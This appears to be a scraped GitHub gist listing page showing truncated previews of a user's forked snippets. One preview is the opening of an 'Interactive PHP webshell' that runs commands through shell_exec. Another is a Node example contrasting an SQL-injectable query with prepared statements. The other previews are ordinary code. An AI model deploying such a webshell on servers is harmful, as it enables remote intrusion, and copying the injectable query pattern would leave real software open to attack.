Skip to content

Instantly share code, notes, and snippets.

View mlcloudsec's full-sized avatar
🛡️

ML mlcloudsec

🛡️
  • Phoenix, AZ
View GitHub Profile
@mlcloudsec
mlcloudsec / shell.php
Created March 10, 2023 05:11 — forked from mrpapercut/shell.php
Interactive PHP webshell
<?php
function escapetext($text) {
return str_replace("\n", "<br>", htmlentities($text));
}
function exec_command($cmd, $internal = false) {
try {
$shell_exec = shell_exec($cmd);
} catch (Exception $e) {
@mlcloudsec
mlcloudsec / tmux.md
Last active February 5, 2024 06:11 — forked from andreyvit/tmux.md
tmux config

macOS

# remap prefix to Control + a
set -g prefix C-a
# bind 'C-a C-a' to type 'C-a'
bind C-a send-prefix
unbind C-b

set -g mouse on
@mlcloudsec
mlcloudsec / promise_while_loop.js
Created September 25, 2015 23:05 — forked from victorquinn/promise_while_loop.js
Promise "loop" using the Bluebird library
var Promise = require('bluebird');
var promiseWhile = function(condition, action) {
var resolver = Promise.defer();
var loop = function() {
if (!condition()) return resolver.resolve();
return Promise.cast(action())
.then(loop)
.catch(resolver.reject);
public class MainActivity extends
private PopupWindow popWindow;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
}
import UIKit
import AVFoundation
class ViewController: UIViewController, AVCaptureMetadataOutputObjectsDelegate {
let session : AVCaptureSession = AVCaptureSession()
var previewLayer : AVCaptureVideoPreviewLayer!
var highlightView : UIView = UIView()
import UIKit
extension UIColor {
convenience init(hex: Int) {
self.init(hex: hex, alpha: 1.0)
}
convenience init(hex: Int, alpha: CGFloat) {
self.init(
red: CGFloat((hex & 0xFF0000) >> 16 / 255.0),
// Subject to SQL injection
Student.query(
"SELECT * FROM student INNER JOIN course ON course.studentId=student.id WHERE student.id=" + req.param('student_id'),
function(err, students) {
}
)
// uses prepared statements to protect against sql injection
// https://github.com/brianc/node-postgres/wiki/Prepared-Statements#parameterized-queries
<?php
/**
* An helper file for Laravel 4, to provide autocomplete information to your IDE
* Generated for Laravel 4.2.16 on 2014-12-24.
*
* @author Barry vd. Heuvel <barryvdh@gmail.com>
* @see https://github.com/barryvdh/laravel-ide-helper
*/
namespace {
<?php
/**
* An helper file for Laravel 4, to provide autocomplete information to your IDE
* Generated with https://github.com/barryvdh/laravel-ide-helper
* Updated for Laravel 4.2.1 (2014-06-01)
*
* @author Barry vd. Heuvel <barryvdh@gmail.com>
*/
namespace {
<?php # -*- coding: utf-8 -*-
// function remove_accents()
/**
* Unaccent the input string string. An example string like `ÀØėÿᾜὨζὅБю`
* will be translated to `AOeyIOzoBY`. More complete than :
* strtr( (string)$str,
* "ÀÁÂÃÄÅàáâãäåÒÓÔÕÖØòóôõöøÈÉÊËèéêëÇçÌÍÎÏìíîïÙÚÛÜùúûüÿÑñ",
* "aaaaaaaaaaaaooooooooooooeeeeeeeecciiiiiiiiuuuuuuuuynn" );
*